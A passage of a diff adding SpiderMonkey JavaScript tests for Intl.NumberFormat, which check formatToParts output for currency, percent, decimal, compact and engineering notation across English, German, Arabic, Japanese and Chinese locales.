+// starting with "X" will ever be assigned. Stepping carefully around a few
+// 4217-designated special "currencies", XQQ will never have a representation.
+// Thus, yes: this really is specified to work, as unrecognized or unsupported
+// codes pass into the string unmodified.
+var xqqCodeOptions =
+ {
+ style: "currency",
+ currency: "XQQ",
+ currencyDisplay: "code",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var xqqMoneyCode = new Intl.NumberFormat("en-US", xqqCodeOptions);
+
+assertParts(xqqMoneyCode, 25,
+ [Currency("XQQ"), Literal("\xA0"), Integer("25")]);
+
+// Test currencyDisplay: "name".
+var usdNameOptions =
+ {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "name",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var usDollarsName = new Intl.NumberFormat("en-US", usdNameOptions);
+
+assertParts(usDollarsName, 25,
+ [Integer("25"), Literal(" "), Currency("US dollars")]);
+
+var usdNameGroupingOptions =
+ {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "name",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var usDollarsNameGrouping =
+ new Intl.NumberFormat("en-US", usdNameGroupingOptions);
+
+assertParts(usDollarsNameGrouping, 12345678,
+ [Integer("12"),
+ Group(","),
+ Integer("345"),
+ Group(","),
+ Integer("678"),
+ Literal(" "),
+ Currency("US dollars")]);
+
+// But if the implementation doesn't recognize the currency, the provided code
+// is used in place of a proper name, unmolested.
+var xqqNameOptions =
+ {
+ style: "currency",
+ currency: "XQQ",
+ currencyDisplay: "name",
+ minimumFractionDigits: 0,
+ maximumFractionDigits: 0,
+ };
+var xqqMoneyName = new Intl.NumberFormat("en-US", xqqNameOptions);
+
+assertParts(xqqMoneyName, 25,
+ [Integer("25"), Literal(" "), Currency("XQQ")]);
+
+// Test some currencies with fractional components.
+
+var usdNameFractionOptions =
+ {
+ style: "currency",
+ currency: "USD",
+ currencyDisplay: "name",
+ minimumFractionDigits: 2,
+ maximumFractionDigits: 2,
+ };
+var usdNameFractionFormatter =
+ new Intl.NumberFormat("en-US", usdNameFractionOptions);
+
+// The US national surplus (i.e. debt) as of October 18, 2016. (Replicating
+// data from a comment in builtin/Intl/NumberFormat.cpp.)
+var usNationalSurplus = -19766580028249.41;
+
+assertParts(usdNameFractionFormatter, usNationalSurplus,
+ [MinusSign("-"),
+ Integer("19"),
+ Group(","),
+ Integer("766"),
+ Group(","),
+ Integer("580"),
+ Group(","),
+ Integer("028"),
+ Group(","),
+ Integer("249"),
+ Decimal("."),
+ Fraction("41"),
+ Literal(" "),
+ Currency("US dollars")]);
+
+// Percents in various forms.
+
+var usPercentOptions =
+ {
+ style: "percent",
+ minimumFractionDigits: 1,
+ maximumFractionDigits: 1,
+ };
+var usPercentFormatter =
+ new Intl.NumberFormat("en-US", usPercentOptions);
+
+assertParts(usPercentFormatter, 0.375,
+ [Integer("37"), Decimal("."), Fraction("5"), PercentSign("%")]);
+
+assertParts(usPercentFormatter, -1284.375,
+ [MinusSign("-"),
+ Integer("128"),
+ Group(","),
+ Integer("437"),
+ Decimal("."),
+ Fraction("5"),
+ PercentSign("%")]);
+
+assertParts(usPercentFormatter, NaN,
+ [Nan("NaN"), PercentSign("%")]);
+
+assertParts(usPercentFormatter, Infinity,
+ [Inf("∞"), PercentSign("%")]);
+
+assertParts(usPercentFormatter, -Infinity,
+ [MinusSign("-"), Inf("∞"), PercentSign("%")]);
+
+var dePercentOptions =
+ {
+ style: "percent",
+ minimumFractionDigits: 1,
+ maximumFractionDigits: 1,
+ };
+var dePercentFormatter =
+ new Intl.NumberFormat("de", dePercentOptions);
+
+assertParts(dePercentFormatter, 0.375,
+ [Integer("37"), Decimal(","), Fraction("5"), Literal("\xA0"), PercentSign("%")]);
+
+assertParts(dePercentFormatter, -1284.375,
+ [MinusSign("-"),
+ Integer("128"),
+ Group("."),
+ Integer("437"),
+ Decimal(","),
+ Fraction("5"),
+ Literal("\xA0"),
+ PercentSign("%")]);
+
+assertParts(dePercentFormatter, NaN,
+ [Nan("NaN"), Literal("\xA0"), PercentSign("%")]);
+
+assertParts(dePercentFormatter, Infinity,
+ [Inf("∞"), Literal("\xA0"), PercentSign("%")]);
+
+assertParts(dePercentFormatter, -Infinity,
+ [MinusSign("-"), Inf("∞"), Literal("\xA0"), PercentSign("%")]);
+
+var arPercentOptions =
+ {
+ style: "percent",
+ minimumFractionDigits: 2,
+ };
+var arPercentFormatter =
+ new Intl.NumberFormat("ar-IQ", arPercentOptions);
+
+assertParts(arPercentFormatter, -135.32,
+ [Literal("\u{061C}"),
+ MinusSign("-"),
+ Integer("١٣"),
+ Group("٬"),
+ Integer("٥٣٢"),
+ Decimal("٫"),
+ Fraction("٠٠"),
+ PercentSign("٪"),
+ Literal("\u{061C}")]);
+
+// Decimals.
+
+var usDecimalOptions =
+ {
+ style: "decimal",
+ maximumFractionDigits: 7 // minimum defaults to 0
+ };
+var usDecimalFormatter =
+ new Intl.NumberFormat("en-US", usDecimalOptions);
+
+assertParts(usDecimalFormatter, 42,
+ [Integer("42")]);
+
+assertParts(usDecimalFormatter, 1337,
+ [Integer("1"), Group(","), Integer("337")]);
+
+assertParts(usDecimalFormatter, -6.25,
+ [MinusSign("-"), Integer("6"), Decimal("."), Fraction("25")]);
+
+assertParts(usDecimalFormatter, -1376.25,
+ [MinusSign("-"),
+ Integer("1"),
+ Group(","),
+ Integer("376"),
+ Decimal("."),
+ Fraction("25")]);
+
+assertParts(usDecimalFormatter, 124816.8359375,
+ [Integer("124"),
+ Group(","),
+ Integer("816"),
+ Decimal("."),
+ Fraction("8359375")]);
+
+var usNoGroupingDecimalOptions =
+ {
+ style: "decimal",
+ useGrouping: false,
+ maximumFractionDigits: 7 // minimum defaults to 0
+ };
+var usNoGroupingDecimalFormatter =
+ new Intl.NumberFormat("en-US", usNoGroupingDecimalOptions);
+
+assertParts(usNoGroupingDecimalFormatter, 1337,
+ [Integer("1337")]);
+
+assertParts(usNoGroupingDecimalFormatter, -6.25,
+ [MinusSign("-"), Integer("6"), Decimal("."), Fraction("25")]);
+
+assertParts(usNoGroupingDecimalFormatter, -1376.25,
+ [MinusSign("-"),
+ Integer("1376"),
+ Decimal("."),
+ Fraction("25")]);
+
+assertParts(usNoGroupingDecimalFormatter, 124816.8359375,
+ [Integer("124816"),
+ Decimal("."),
+ Fraction("8359375")]);
+
+var deDecimalOptions =
+ {
+ style: "decimal",
+ maximumFractionDigits: 7 // minimum defaults to 0
+ };
+var deDecimalFormatter =
+ new Intl.NumberFormat("de-DE", deDecimalOptions);
+
+assertParts(deDecimalFormatter, 42,
+ [Integer("42")]);
+
+assertParts(deDecimalFormatter, 1337,
+ [Integer("1"), Group("."), Integer("337")]);
+
+assertParts(deDecimalFormatter, -6.25,
+ [MinusSign("-"), Integer("6"), Decimal(","), Fraction("25")]);
+
+assertParts(deDecimalFormatter, -1376.25,
+ [MinusSign("-"),
+ Integer("1"),
+ Group("."),
+ Integer("376"),
+ Decimal(","),
+ Fraction("25")]);
+
+assertParts(deDecimalFormatter, 124816.8359375,
+ [Integer("124"),
+ Group("."),
+ Integer("816"),
+ Decimal(","),
+ Fraction("8359375")]);
+
+var deNoGroupingDecimalOptions =
+ {
+ style: "decimal",
+ useGrouping: false,
+ maximumFractionDigits: 7 // minimum defaults to 0
+ };
+var deNoGroupingDecimalFormatter =
+ new Intl.NumberFormat("de-DE", deNoGroupingDecimalOptions);
+
+assertParts(deNoGroupingDecimalFormatter, 1337,
+ [Integer("1337")]);
+
+assertParts(deNoGroupingDecimalFormatter, -6.25,
+ [MinusSign("-"), Integer("6"), Decimal(","), Fraction("25")]);
+
+assertParts(deNoGroupingDecimalFormatter, -1376.25,
+ [MinusSign("-"),
+ Integer("1376"),
+ Decimal(","),
+ Fraction("25")]);
+
+assertParts(deNoGroupingDecimalFormatter, 124816.8359375,
+ [Integer("124816"),
+ Decimal(","),
+ Fraction("8359375")]);
+
+//-----------------------------------------------------------------------------
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Intl/NumberFormat/formatting-NaN.js b/js/src/tests/non262/Intl/NumberFormat/formatting-NaN.js
new file mode 100644
index 0000000000..430d74222e
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/formatting-NaN.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1484943;
+var summary = "Don't crash doing format/formatToParts on -NaN";
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+assertEq("formatToParts" in Intl.NumberFormat(), true);
+
+var nf = new Intl.NumberFormat("en-US");
+var parts;
+
+var values = [NaN, -NaN];
+
+for (var v of values)
+{
+ assertEq(nf.format(v), "NaN");
+
+ parts = nf.formatToParts(v);
+ assertEq(parts.length, 1);
+ assertEq(parts[0].type, "nan");
+ assertEq(parts[0].value, "NaN");
+}
+
+//-----------------------------------------------------------------------------
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Intl/NumberFormat/negativeZeroFractionDigits.js b/js/src/tests/non262/Intl/NumberFormat/negativeZeroFractionDigits.js
new file mode 100644
index 0000000000..0db461f50e
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/negativeZeroFractionDigits.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const optionsList = [
+ {minimumFractionDigits: -0, maximumFractionDigits: -0},
+ {minimumFractionDigits: -0, maximumFractionDigits: +0},
+ {minimumFractionDigits: +0, maximumFractionDigits: -0},
+ {minimumFractionDigits: +0, maximumFractionDigits: +0},
+];
+
+for (let options of optionsList) {
+ let numberFormat = new Intl.NumberFormat("en-US", options);
+
+ let {minimumFractionDigits, maximumFractionDigits} = numberFormat.resolvedOptions();
+ assertEq(minimumFractionDigits, +0);
+ assertEq(maximumFractionDigits, +0);
+
+ assertEq(numberFormat.format(123), "123");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/notation-compact-long.js b/js/src/tests/non262/Intl/NumberFormat/notation-compact-long.js
new file mode 100644
index 0000000000..576c45858c
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/notation-compact-long.js
@@ -0,0 +1,134 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Nan, Inf, Integer, MinusSign, PlusSign, Decimal, Fraction, Group, Literal,
+ Compact,
+} = NumberFormatParts;
+
+const testcases = [
+ {
+ locale: "en",
+ options: {
+ notation: "compact",
+ compactDisplay: "long",
+ },
+ values: [
+ {value: +0, string: "0", parts: [Integer("0")]},
+ {value: -0, string: "-0", parts: [MinusSign("-"), Integer("0")]},
+ {value: 0n, string: "0", parts: [Integer("0")]},
+
+ {value: 1, string: "1", parts: [Integer("1")]},
+ {value: 10, string: "10", parts: [Integer("10")]},
+ {value: 100, string: "100", parts: [Integer("100")]},
+ {value: 1000, string: "1 thousand", parts: [Integer("1"), Literal(" "), Compact("thousand")]},
+ {value: 10000, string: "10 thousand", parts: [Integer("10"), Literal(" "), Compact("thousand")]},
+ {value: 100000, string: "100 thousand", parts: [Integer("100"), Literal(" "), Compact("thousand")]},
+ {value: 1000000, string: "1 million", parts: [Integer("1"), Literal(" "), Compact("million")]},
+ {value: 10000000, string: "10 million", parts: [Integer("10"), Literal(" "), Compact("million")]},
+ {value: 100000000, string: "100 million", parts: [Integer("100"), Literal(" "), Compact("million")]},
+ {value: 1000000000, string: "1 billion", parts: [Integer("1"), Literal(" "), Compact("billion")]},
+ {value: 10000000000, string: "10 billion", parts: [Integer("10"), Literal(" "), Compact("billion")]},
+ {value: 100000000000, string: "100 billion", parts: [Integer("100"), Literal(" "), Compact("billion")]},
+ {value: 1000000000000, string: "1 trillion", parts: [Integer("1"), Literal(" "), Compact("trillion")]},
+ {value: 10000000000000, string: "10 trillion", parts: [Integer("10"), Literal(" "), Compact("trillion")]},
+ {value: 100000000000000, string: "100 trillion", parts: [Integer("100"), Literal(" "), Compact("trillion")]},
+ {value: 1000000000000000, string: "1000 trillion", parts: [Integer("1000"), Literal(" "), Compact("trillion")]},
+ {value: 10000000000000000, string: "10,000 trillion", parts: [Integer("10"), Group(","), Integer("000"), Literal(" "), Compact("trillion")]},
+ {value: 100000000000000000, string: "100,000 trillion", parts: [Integer("100"), Group(","), Integer("000"), Literal(" "), Compact("trillion")]},
+
+ {value: 1n, string: "1", parts: [Integer("1")]},
+ {value: 10n, string: "10", parts: [Integer("10")]},
+ {value: 100n, string: "100", parts: [Integer("100")]},
+ {value: 1000n, string: "1 thousand", parts: [Integer("1"), Literal(" "), Compact("thousand")]},
+ {value: 10000n, string: "10 thousand", parts: [Integer("10"), Literal(" "), Compact("thousand")]},
+ {value: 100000n, string: "100 thousand", parts: [Integer("100"), Literal(" "), Compact("thousand")]},
+ {value: 1000000n, string: "1 million", parts: [Integer("1"), Literal(" "), Compact("million")]},
+ {value: 10000000n, string: "10 million", parts: [Integer("10"), Literal(" "), Compact("million")]},
+ {value: 100000000n, string: "100 million", parts: [Integer("100"), Literal(" "), Compact("million")]},
+ {value: 1000000000n, string: "1 billion", parts: [Integer("1"), Literal(" "), Compact("billion")]},
+ {value: 10000000000n, string: "10 billion", parts: [Integer("10"), Literal(" "), Compact("billion")]},
+ {value: 100000000000n, string: "100 billion", parts: [Integer("100"), Literal(" "), Compact("billion")]},
+ {value: 1000000000000n, string: "1 trillion", parts: [Integer("1"), Literal(" "), Compact("trillion")]},
+ {value: 10000000000000n, string: "10 trillion", parts: [Integer("10"), Literal(" "), Compact("trillion")]},
+ {value: 100000000000000n, string: "100 trillion", parts: [Integer("100"), Literal(" "), Compact("trillion")]},
+ {value: 1000000000000000n, string: "1000 trillion", parts: [Integer("1000"), Literal(" "), Compact("trillion")]},
+ {value: 10000000000000000n, string: "10,000 trillion", parts: [Integer("10"), Group(","), Integer("000"), Literal(" "), Compact("trillion")]},
+ {value: 100000000000000000n, string: "100,000 trillion", parts: [Integer("100"), Group(","), Integer("000"), Literal(" "), Compact("trillion")]},
+
+ {value: 0.1, string: "0.1", parts: [Integer("0"), Decimal("."), Fraction("1")]},
+ {value: 0.01, string: "0.01", parts: [Integer("0"), Decimal("."), Fraction("01")]},
+ {value: 0.001, string: "0.001", parts: [Integer("0"), Decimal("."), Fraction("001")]},
+ {value: 0.0001, string: "0.0001", parts: [Integer("0"), Decimal("."), Fraction("0001")]},
+ {value: 0.00001, string: "0.00001", parts: [Integer("0"), Decimal("."), Fraction("00001")]},
+ {value: 0.000001, string: "0.000001", parts: [Integer("0"), Decimal("."), Fraction("000001")]},
+ {value: 0.0000001, string: "0.0000001", parts: [Integer("0"), Decimal("."), Fraction("0000001")]},
+
+ {value: 12, string: "12", parts: [Integer("12")]},
+ {value: 123, string: "123", parts: [Integer("123")]},
+ {value: 1234, string: "1.2 thousand", parts: [Integer("1"), Decimal("."), Fraction("2"), Literal(" "), Compact("thousand")]},
+ {value: 12345, string: "12 thousand", parts: [Integer("12"), Literal(" "), Compact("thousand")]},
+ {value: 123456, string: "123 thousand", parts: [Integer("123"), Literal(" "), Compact("thousand")]},
+ {value: 1234567, string: "1.2 million", parts: [Integer("1"), Decimal("."), Fraction("2"), Literal(" "), Compact("million")]},
+ {value: 12345678, string: "12 million", parts: [Integer("12"), Literal(" "), Compact("million")]},
+ {value: 123456789, string: "123 million", parts: [Integer("123"), Literal(" "), Compact("million")]},
+
+ {value: Infinity, string: "∞", parts: [Inf("∞")]},
+ {value: -Infinity, string: "-∞", parts: [MinusSign("-"), Inf("∞")]},
+
+ {value: NaN, string: "NaN", parts: [Nan("NaN")]},
+ {value: -NaN, string: "NaN", parts: [Nan("NaN")]},
+ ],
+ },
+
+ // The "{compactName}" placeholder may have different plural forms.
+ {
+ locale: "de",
+ options: {
+ notation: "compact",
+ compactDisplay: "long",
+ },
+ values: [
+ {value: 1e6, string: "1 Million", parts: [Integer("1"), Literal(" "), Compact("Million")]},
+ {value: 2e6, string: "2 Millionen", parts: [Integer("2"), Literal(" "), Compact("Millionen")]},
+ {value: 1e9, string: "1 Milliarde", parts: [Integer("1"), Literal(" "), Compact("Milliarde")]},
+ {value: 2e9, string: "2 Milliarden", parts: [Integer("2"), Literal(" "), Compact("Milliarden")]},
+ ],
+ },
+
+ // Digits are grouped in myriads (every 10,000) in Japanese.
+ {
+ locale: "ja",
+ options: {
+ notation: "compact",
+ compactDisplay: "long",
+ },
+ values: [
+ {value: 1, string: "1", parts: [Integer("1")]},
+ {value: 10, string: "10", parts: [Integer("10")]},
+ {value: 100, string: "100", parts: [Integer("100")]},
+ {value: 1000, string: "1000", parts: [Integer("1000")]},
+
+ {value: 10e3, string: "1\u4E07", parts: [Integer("1"), Compact("\u4E07")]},
+ {value: 100e3, string: "10\u4E07", parts: [Integer("10"), Compact("\u4E07")]},
+ {value: 1000e3, string: "100\u4E07", parts: [Integer("100"), Compact("\u4E07")]},
+ {value: 10000e3, string: "1000\u4E07", parts: [Integer("1000"), Compact("\u4E07")]},
+
+ {value: 10e7, string: "1\u5104", parts: [Integer("1"), Compact("\u5104")]},
+ {value: 100e7, string: "10\u5104", parts: [Integer("10"), Compact("\u5104")]},
+ {value: 1000e7, string: "100\u5104", parts: [Integer("100"), Compact("\u5104")]},
+ {value: 10000e7, string: "1000\u5104", parts: [Integer("1000"), Compact("\u5104")]},
+
+ {value: 10e11, string: "1\u5146", parts: [Integer("1"), Compact("\u5146")]},
+ {value: 100e11, string: "10\u5146", parts: [Integer("10"), Compact("\u5146")]},
+ {value: 1000e11, string: "100\u5146", parts: [Integer("100"), Compact("\u5146")]},
+ {value: 10000e11, string: "1000\u5146", parts: [Integer("1000"), Compact("\u5146")]},
+
+ {value: 100000e11, string: "10,000\u5146", parts: [Integer("10"), Group(","), Integer("000"), Compact("\u5146")]},
+ ],
+ },
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/notation-compact-short.js b/js/src/tests/non262/Intl/NumberFormat/notation-compact-short.js
new file mode 100644
index 0000000000..f3a546294d
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/notation-compact-short.js
@@ -0,0 +1,136 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Nan, Inf, Integer, MinusSign, PlusSign, Decimal, Fraction, Group, Literal,
+ Compact,
+} = NumberFormatParts;
+
+const testcases = [
+ {
+ locale: "en",
+ options: {
+ notation: "compact",
+ compactDisplay: "short",
+ },
+ values: [
+ {value: +0, string: "0", parts: [Integer("0")]},
+ {value: -0, string: "-0", parts: [MinusSign("-"), Integer("0")]},
+ {value: 0n, string: "0", parts: [Integer("0")]},
+
+ {value: 1, string: "1", parts: [Integer("1")]},
+ {value: 10, string: "10", parts: [Integer("10")]},
+ {value: 100, string: "100", parts: [Integer("100")]},
+ {value: 1000, string: "1K", parts: [Integer("1"), Compact("K")]},
+ {value: 10000, string: "10K", parts: [Integer("10"), Compact("K")]},
+ {value: 100000, string: "100K", parts: [Integer("100"), Compact("K")]},
+ {value: 1000000, string: "1M", parts: [Integer("1"), Compact("M")]},
+ {value: 10000000, string: "10M", parts: [Integer("10"), Compact("M")]},
+ {value: 100000000, string: "100M", parts: [Integer("100"), Compact("M")]},
+ {value: 1000000000, string: "1B", parts: [Integer("1"), Compact("B")]},
+ {value: 10000000000, string: "10B", parts: [Integer("10"), Compact("B")]},
+ {value: 100000000000, string: "100B", parts: [Integer("100"), Compact("B")]},
+ {value: 1000000000000, string: "1T", parts: [Integer("1"), Compact("T")]},
+ {value: 10000000000000, string: "10T", parts: [Integer("10"), Compact("T")]},
+ {value: 100000000000000, string: "100T", parts: [Integer("100"), Compact("T")]},
+ {value: 1000000000000000, string: "1000T", parts: [Integer("1000"), Compact("T")]},
+ {value: 10000000000000000, string: "10,000T", parts: [Integer("10"), Group(","), Integer("000"), Compact("T")]},
+ {value: 100000000000000000, string: "100,000T", parts: [Integer("100"), Group(","), Integer("000"), Compact("T")]},
+
+ {value: 1n, string: "1", parts: [Integer("1")]},
+ {value: 10n, string: "10", parts: [Integer("10")]},
+ {value: 100n, string: "100", parts: [Integer("100")]},
+ {value: 1000n, string: "1K", parts: [Integer("1"), Compact("K")]},
+ {value: 10000n, string: "10K", parts: [Integer("10"), Compact("K")]},
+ {value: 100000n, string: "100K", parts: [Integer("100"), Compact("K")]},
+ {value: 1000000n, string: "1M", parts: [Integer("1"), Compact("M")]},
+ {value: 10000000n, string: "10M", parts: [Integer("10"), Compact("M")]},
+ {value: 100000000n, string: "100M", parts: [Integer("100"), Compact("M")]},
+ {value: 1000000000n, string: "1B", parts: [Integer("1"), Compact("B")]},
+ {value: 10000000000n, string: "10B", parts: [Integer("10"), Compact("B")]},
+ {value: 100000000000n, string: "100B", parts: [Integer("100"), Compact("B")]},
+ {value: 1000000000000n, string: "1T", parts: [Integer("1"), Compact("T")]},
+ {value: 10000000000000n, string: "10T", parts: [Integer("10"), Compact("T")]},
+ {value: 100000000000000n, string: "100T", parts: [Integer("100"), Compact("T")]},
+ {value: 1000000000000000n, string: "1000T", parts: [Integer("1000"), Compact("T")]},
+ {value: 10000000000000000n, string: "10,000T", parts: [Integer("10"), Group(","), Integer("000"), Compact("T")]},
+ {value: 100000000000000000n, string: "100,000T", parts: [Integer("100"), Group(","), Integer("000"), Compact("T")]},
+
+ {value: 0.1, string: "0.1", parts: [Integer("0"), Decimal("."), Fraction("1")]},
+ {value: 0.01, string: "0.01", parts: [Integer("0"), Decimal("."), Fraction("01")]},
+ {value: 0.001, string: "0.001", parts: [Integer("0"), Decimal("."), Fraction("001")]},
+ {value: 0.0001, string: "0.0001", parts: [Integer("0"), Decimal("."), Fraction("0001")]},
+ {value: 0.00001, string: "0.00001", parts: [Integer("0"), Decimal("."), Fraction("00001")]},
+ {value: 0.000001, string: "0.000001", parts: [Integer("0"), Decimal("."), Fraction("000001")]},
+ {value: 0.0000001, string: "0.0000001", parts: [Integer("0"), Decimal("."), Fraction("0000001")]},
+
+ {value: 12, string: "12", parts: [Integer("12")]},
+ {value: 123, string: "123", parts: [Integer("123")]},
+ {value: 1234, string: "1.2K", parts: [Integer("1"), Decimal("."), Fraction("2"), Compact("K")]},
+ {value: 12345, string: "12K", parts: [Integer("12"), Compact("K")]},
+ {value: 123456, string: "123K", parts: [Integer("123"), Compact("K")]},
+ {value: 1234567, string: "1.2M", parts: [Integer("1"), Decimal("."), Fraction("2"), Compact("M")]},
+ {value: 12345678, string: "12M", parts: [Integer("12"), Compact("M")]},
+ {value: 123456789, string: "123M", parts: [Integer("123"), Compact("M")]},
+
+ {value: Infinity, string: "∞", parts: [Inf("∞")]},
+ {value: -Infinity, string: "-∞", parts: [MinusSign("-"), Inf("∞")]},
+
+ {value: NaN, string: "NaN", parts: [Nan("NaN")]},
+ {value: -NaN, string: "NaN", parts: [Nan("NaN")]},
+ ],
+ },
+
+ // Compact symbol can consist of multiple characters, e.g. when it's an abbreviation.
+ {
+ locale: "de",
+ options: {
+ notation: "compact",
+ compactDisplay: "short",
+ },
+ values: [
+ {value: 1e6, string: "1\u00A0Mio.", parts: [Integer("1"), Literal("\u00A0"), Compact("Mio.")]},
+ {value: 1e9, string: "1\u00A0Mrd.", parts: [Integer("1"), Literal("\u00A0"), Compact("Mrd.")]},
+ {value: 1e12, string: "1\u00A0Bio.", parts: [Integer("1"), Literal("\u00A0"), Compact("Bio.")]},
+
+ // CLDR doesn't support "Billiarde" (Brd.), Trillion (Trill.), etc.
+ {value: 1e15, string: "1000\u00A0Bio.", parts: [Integer("1000"), Literal("\u00A0"), Compact("Bio.")]},
+ ],
+ },
+
+ // Digits are grouped in myriads (every 10,000) in Chinese.
+ {
+ locale: "zh",
+ options: {
+ notation: "compact",
+ compactDisplay: "short",
+ },
+ values: [
+ {value: 1, string: "1", parts: [Integer("1")]},
+ {value: 10, string: "10", parts: [Integer("10")]},
+ {value: 100, string: "100", parts: [Integer("100")]},
+ {value: 1000, string: "1000", parts: [Integer("1000")]},
+
+ {value: 10e3, string: "1\u4E07", parts: [Integer("1"), Compact("\u4E07")]},
+ {value: 100e3, string: "10\u4E07", parts: [Integer("10"), Compact("\u4E07")]},
+ {value: 1000e3, string: "100\u4E07", parts: [Integer("100"), Compact("\u4E07")]},
+ {value: 10000e3, string: "1000\u4E07", parts: [Integer("1000"), Compact("\u4E07")]},
+
+ {value: 10e7, string: "1\u4EBF", parts: [Integer("1"), Compact("\u4EBF")]},
+ {value: 100e7, string: "10\u4EBF", parts: [Integer("10"), Compact("\u4EBF")]},
+ {value: 1000e7, string: "100\u4EBF", parts: [Integer("100"), Compact("\u4EBF")]},
+ {value: 10000e7, string: "1000\u4EBF", parts: [Integer("1000"), Compact("\u4EBF")]},
+
+ {value: 10e11, string: "1\u4E07\u4EBF", parts: [Integer("1"), Compact("\u4E07\u4EBF")]},
+ {value: 100e11, string: "10\u4E07\u4EBF", parts: [Integer("10"), Compact("\u4E07\u4EBF")]},
+ {value: 1000e11, string: "100\u4E07\u4EBF", parts: [Integer("100"), Compact("\u4E07\u4EBF")]},
+ {value: 10000e11, string: "1000\u4E07\u4EBF", parts: [Integer("1000"), Compact("\u4E07\u4EBF")]},
+
+ {value: 100000e11, string: "10,000\u4E07\u4EBF", parts: [Integer("10"), Group(","), Integer("000"), Compact("\u4E07\u4EBF")]},
+ ],
+ },
+];
+
+runNumberFormattingTestcases(testcases);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/NumberFormat/notation-engineering.js b/js/src/tests/non262/Intl/NumberFormat/notation-engineering.js
new file mode 100644
index 0000000000..b4c0e19e53
--- /dev/null
+++ b/js/src/tests/non262/Intl/NumberFormat/notation-engineering.js
@@ -0,0 +1,136 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const {
+ Nan, Inf, Integer, MinusSign, PlusSign, Decimal, Fraction, Group,
+ ExponentSeparator, ExponentInteger, ExponentMinusSign,
+} = NumberFormatParts;
+
+const testcases = [
+ {
+ locale: "en",
+ options: {
+ notation: "engineering",
+ },
+ values: [
+ {value: +0, string: "0E0", parts: [Integer("0"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: -0, string: "-0E0", parts: [MinusSign("-"), Integer("0"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 0n, string: "0E0", parts: [Integer("0"), ExponentSeparator("E"), ExponentInteger("0")]},
+
+ {value: 1, string: "1E0", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 10, string: "10E0", parts: [Integer("10"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 100, string: "100E0", parts: [Integer("100"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 1000, string: "1E3", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 10000, string: "10E3", parts: [Integer("10"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 100000, string: "100E3", parts: [Integer("100"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 1000000, string: "1E6", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("6")]},
+
+ {value: 1n, string: "1E0", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 10n, string: "10E0", parts: [Integer("10"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 100n, string: "100E0", parts: [Integer("100"), ExponentSeparator("E"), ExponentInteger("0")]},
+ {value: 1000n, string: "1E3", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 10000n, string: "10E3", parts: [Integer("10"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 100000n, string: "100E3", parts: [Integer("100"), ExponentSeparator("E"), ExponentInteger("3")]},
+ {value: 1000000n, string: "1E6", parts: [Integer("1"), ExponentSeparator("E"), ExponentInteger("6")]},
+
+ {value: 0.1, string: "100E-3", parts: [Integer("100"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")]},
+ {value: 0.01, string: "10E-3", parts: [Integer("10"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")]},
+ {value: 0.001, string: "1E-3", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("3")]},
+ {value: 0.0001, string: "100E-6", parts: [Integer("100"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("6")]},
+ {value: 0.00001, string: "10E-6", parts: [Integer("10"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("6")]},
+ {value: 0.000001, string: "1E-6", parts: [Integer("1"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("6")]},
+ {value: 0.0000001, string: "100E-9", parts: [Integer("100"), ExponentSeparator("E"), ExponentMinusSign("-"), ExponentInteger("9")]},
+
+ {value: Infinity, string: "∞", parts: [Inf("∞")]},
+ {value: -Infinity, string: "-∞", parts: [MinusSign("-"), Inf("∞")]},
+
+ {value: NaN, string: "NaN", parts: [Nan("NaN")]},
+ {value: -NaN, string: "NaN", parts: [Nan("NaN")]},
+ ],
+ },
+
+ // Exponent modifications take place early, so while in the "standard" notation
+ // `Intl.NumberFormat("en", {maximumFractionDigits: 0}).format(0.1)` returns "0", for
+ // "engineering" notation the result string is not "0", but instead "100E-3".
+
